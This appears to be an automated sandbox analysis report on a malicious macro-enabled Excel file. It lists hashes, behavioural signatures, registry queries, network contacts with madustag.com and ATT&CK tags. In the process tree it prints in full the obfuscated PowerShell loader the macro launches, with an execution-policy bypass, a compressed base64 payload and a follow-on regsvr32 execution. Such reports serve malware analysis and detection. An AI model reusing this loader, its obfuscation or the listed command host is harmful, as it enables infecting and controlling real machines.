b22e1571c169269bdad84dd7804189a4a6b20f600348b4e18e91661b0c08b111

Analysis

max time kernel
138s
max time network
137s
platform
windows10_x64
resource
win10v200430
submitted
08/07/2020, 14:13 UTC

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General

Target

20754491-60.xlsm
Size

63KB
MD5

b9236072b57105e260444f147ae54927
SHA1

033a1cfd5780cb7ea3fabaabe8db663a5f13971d
SHA256

b22e1571c169269bdad84dd7804189a4a6b20f600348b4e18e91661b0c08b111
SHA512

863d6626b4a7230896574bf04b9041557a23f839c48427ae7798de98a0610124d7a5707f687353131bab6b4e46036b257dde0118b784ea84ef0b4e34c703e116

Score

10^/10

Malware Config

Signatures

Suspicious use of SetWindowsHookEx 16 IoCs

pid	Process
1000	EXCEL.EXE
1000	EXCEL.EXE
1000	EXCEL.EXE
1000	EXCEL.EXE
1000	EXCEL.EXE
1000	EXCEL.EXE
1000	EXCEL.EXE
1000	EXCEL.EXE
1000	EXCEL.EXE
1000	EXCEL.EXE
1000	EXCEL.EXE
1000	EXCEL.EXE
1000	EXCEL.EXE
1000	EXCEL.EXE
1000	EXCEL.EXE
1000	EXCEL.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3052	1000	powershell.exe	66

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1000 wrote to memory of 3052	1000	EXCEL.EXE	75
PID 1000 wrote to memory of 3052	1000	EXCEL.EXE	75
PID 3052 wrote to memory of 2124	3052	powershell.exe	78
PID 3052 wrote to memory of 2124	3052	powershell.exe	78

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeDebugPrivilege	3052	powershell.exe
Token: SeIncreaseQuotaPrivilege	3052	powershell.exe
Token: SeSecurityPrivilege	3052	powershell.exe
Token: SeTakeOwnershipPrivilege	3052	powershell.exe
Token: SeLoadDriverPrivilege	3052	powershell.exe
Token: SeSystemProfilePrivilege	3052	powershell.exe
Token: SeSystemtimePrivilege	3052	powershell.exe
Token: SeProfSingleProcessPrivilege	3052	powershell.exe
Token: SeIncBasePriorityPrivilege	3052	powershell.exe
Token: SeCreatePagefilePrivilege	3052	powershell.exe
Token: SeBackupPrivilege	3052	powershell.exe
Token: SeRestorePrivilege	3052	powershell.exe
Token: SeShutdownPrivilege	3052	powershell.exe
Token: SeDebugPrivilege	3052	powershell.exe
Token: SeSystemEnvironmentPrivilege	3052	powershell.exe
Token: SeRemoteShutdownPrivilege	3052	powershell.exe
Token: SeUndockPrivilege	3052	powershell.exe
Token: SeManageVolumePrivilege	3052	powershell.exe
Token: 33	3052	powershell.exe
Token: 34	3052	powershell.exe
Token: 35	3052	powershell.exe
Token: 36	3052	powershell.exe
Token: SeIncreaseQuotaPrivilege	3052	powershell.exe
Token: SeSecurityPrivilege	3052	powershell.exe
Token: SeTakeOwnershipPrivilege	3052	powershell.exe
Token: SeLoadDriverPrivilege	3052	powershell.exe
Token: SeSystemProfilePrivilege	3052	powershell.exe
Token: SeSystemtimePrivilege	3052	powershell.exe
Token: SeProfSingleProcessPrivilege	3052	powershell.exe
Token: SeIncBasePriorityPrivilege	3052	powershell.exe
Token: SeCreatePagefilePrivilege	3052	powershell.exe
Token: SeBackupPrivilege	3052	powershell.exe
Token: SeRestorePrivilege	3052	powershell.exe
Token: SeShutdownPrivilege	3052	powershell.exe
Token: SeDebugPrivilege	3052	powershell.exe
Token: SeSystemEnvironmentPrivilege	3052	powershell.exe
Token: SeRemoteShutdownPrivilege	3052	powershell.exe
Token: SeUndockPrivilege	3052	powershell.exe
Token: SeManageVolumePrivilege	3052	powershell.exe
Token: 33	3052	powershell.exe
Token: 34	3052	powershell.exe
Token: 35	3052	powershell.exe
Token: 36	3052	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3052	powershell.exe
3052	powershell.exe
3052	powershell.exe

Blacklisted process makes network request 1 IoCs

flow	pid	Process
22	3052	powershell.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1000	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\20754491-60.xlsm"
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Enumerates system info in registry
PID:1000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NOpROFILe -exEcUTION BypaSS -nOnINterAcTi -wiN 01 "&(\"{0}{1}\" -f 'sa','l') ('tr'+'im') ('N'+'ew-Obje'+'ct');.((.('gv') (\"{0}{1}\" -f '*','mdr*')).NAMe[3,11,2]-join'') ( .(\"{1}{0}\"-f'im','tr') ('s'+'ystEM'+'.Io.C'+'O'+'m'+'pReSSi'+'on.De'+'flA'+'te'+'StreAm')([SysteM.iO.MeMoryStreAM][convERt]::fROmbaSE64STrINg( (\"{16}{58}{22}{31}{9}{62}{40}{46}{4}{27}{19}{28}{7}{20}{38}{33}{6}{26}{52}{2}{41}{24}{55}{34}{48}{61}{30}{15}{29}{13}{14}{3}{47}{1}{32}{43}{56}{18}{36}{60}{59}{53}{21}{23}{42}{57}{51}{10}{39}{25}{54}{11}{37}{50}{12}{0}{17}{44}{8}{35}{5}{49}{45}\" -f'jA1xehYZc7AAUNzALk783FzqjPcuz0kETx','LjPHwO/NC','Fa6dvAt3Cuk','ed/0PVl4uDc0nFYGp6K2iDJHYB5QmhXcgc3Lw','Ua8uDGZecolOTYJA+2jVZsug3HihQH7LCpmIW09KCst4MX7oOwNhE2M7uMk8mhjv','4leN/CwZR','SU6ekfKz5XQqo573t2RHp7AV','sA8KbmK9POgnu8jm96QqEACjm','6xUqGXroijF+tBT2z/1','MGYWxarsXjFTOPsyCgaz5OP7w0LeqDoJVNUUa','VKvGjehP3x','OYHJnDs5dEjrT0kFS1qUvf/wyjzcJCLLKltvpt/c82ME9J7cjSY3MlBgSgTeywjS4o3xBNq','6PV5DZOaIfi8R3Vbn0','fRGfFQW7hiD0','VlB1xIyOTOxb','xKsgx/Ty4TuCL2mHI8','dVYNc9pGEP0rFw31ScEoGDtuAsO0GMsOCcEuYByHMDkZDi','wNQ9y5KXY6a53q/s/9TTZ8H08CXycz96tOjR30RsM1F5tVsplVKcFGBg/5i/7AI48ttF2ROey','ah','Udf7+hr','mKBOMPi4ZJ6Wm','BTUl','WlZp','KpSEv+K1vd','qWZcnLjISSEdi6Ze3S','9666l5obvjfyentrQbiD0YxEgMI+mOH2ggi75iHq0sUNC66Y0IGCj3p6lTIxZ9CuJqrv7PJI5iakS6AjAuw','LoOEHbGSdBllg','Mx2261gFT5JiM+UxUqRXPjuWJq8xA8L6YtoKyv/t','LZKAFsCV70rlIHyCpl','4V1AfikZCRJSdHO7bpB6Cdl0uBDd5pn1TtADWxC/VxrkgHLln2qVarb3SPcO8huLGwQ5k5TpnYy/Km/AD1wz1h','++EDx4nu','RRmlKePhudfhh7wvf/ZtBy8zX','dnLtJYf5kAOaVaJyD8uaw+eBGw9','YakONSk9Q+78BnkaYt8cLfQeZvuDWsjOx8dLT6fuTNnbWB','TgajkBAulhTx48r3c','QEyLUx9+XwOJqRxwMvYaZ22EoNvbFcFz1+tL9De/3RIdJ6bwPatDIv','MSrriNYSgIebS2PHdsFGSBYrfM0','ljI++tQF','9g','m7KbRqAONX8YUGYRpTm85UrdjmFHCbnQKITO0bJ+y0X6xqNceiTRbnZ24sT0','QbDgves5dVJ9t9hghF5WuuBfINZ1LiXJFdK7tqpzXiuks','8yfkwqWE3c3xFtBbQzRUPZfj','TH7jYNcZxn57phxCvCf0zMjORM97','HIPMjRgg+gF2bd+8wqBxCLNPtLeRVYtqmldfS2Fa9lCS','/8FYh/ka9JM/vUTVDvZOCTRiY19SG','z6B8hQvUOP82oTk0/4Q0/As=','aqX8bhU9SM8OqKDl/LrI/oWPEImW','EE0X2YclYOFJPvOLzMzpYFrWdrsgBaoLT','YjnEimzLNtYihtvYhAEB3F4SFCZyY6gGsAirmIDeVdIm/BpSNwa4U/DVUVujyFOC01a6KlDIv9oyzHGzW/nQGutVfA/OHb2RKxqoB','lvXND9DUcqctO','I1XhgU','HAbw07dls7DE6DEQtVx8GnO1hwLIHDX/p','5V+LD2ZW','2gTMF/8','yaV0cvOOu1v9fUwWLm6M7YSgIF1k6Lok96eoiPHYxsJ8hOmJWxjHN6ITmKsV4pFQnSpWLHOhm','MXBX3uTnAP5wzwi5oDYzFW9eyxdSbzJF5A1Ifre04QbcAb2+TzCrdM096j5OyZjHjwNft8SoFJ36p1vZyo9PcM7a0mgoxiksf1Eidy','1xcmuZ9hATvUAMQvHJMcyNC5utXK591C77eudUs3fgCv9GGpZV+hh6AYrZ1wHui4uZJhBUimrizK91zQsP7hRSOHWw34qodY51MhPa+Y+9jbeuMS0UuVn7g','d','xbSEQSOK56/71vT3yIdsKMPtDt7b7dfbt7Pc/kq0a31TjzeZHLKm5fT065xZjJhv27a2dkGumRSo9V','/kr/Qu','HQUIr8G3GRABAtsTYQc1pFiCcqb428BckpQERy3ddzPX1dXuTjtaoPvSAZQddn9Zo43yEn2+KHq1hedX7SRJLoQPW','S5/ASXC6kktsof7C24njpiQgGU','SrnGlJsOuqM3C6eK4341eYdXv1YXK3kLShTBu0tHdlTyHotR1u') ) , [iO.COMprESSiON.COmPrESSIoNmodE]::decoMPRESS)|&('%'){ .(\"{0}{1}\" -f 'T','rim') ('SYSTem.'+'iO.'+'st'+'ReaMReAd'+'ER')($_ ,[sYSTeM.TEXT.eNCodIng]::AsCii)}).READtoeNd( )"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious behavior: EnumeratesProcesses
  - Blacklisted process makes network request
  PID:3052
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" -s C:\Users\Admin\AppData\Local\Temp\.
    3⤵
    PID:2124

Network

DNS

madustag.com

Remote address:

8.8.8.8:53

Request

madustag.com

IN A

Response

madustag.com

IN A

84.38.183.114
DNS

madustag.com

Remote address:

8.8.8.8:53

Request

madustag.com

IN A

Response

madustag.com

IN A

84.38.183.114

127.0.0.1:47001
84.38.183.114:443

madustag.com

tls

powershell.exe

872 B
3.8kB
10
8

239.255.255.250:1900

1.3kB
8
239.255.255.250:1900
10.10.0.255:137

netbios-ns

1.1kB
13
8.8.8.8:53

madustag.com

dns

116 B
148 B
2
2

DNS Request

madustag.com

DNS Request

madustag.com

DNS Response

84.38.183.114

DNS Response

84.38.183.114
10.10.0.28:137

netbios-ns

270 B
3
10.10.0.20:137

netbios-ns

270 B
3

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

DNS Request

DNS Request

DNS Response

DNS Response

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

DNS Request

DNS Request

DNS Response

DNS Response

MITRE ATT&CK Enterprise v6

Replay Monitor

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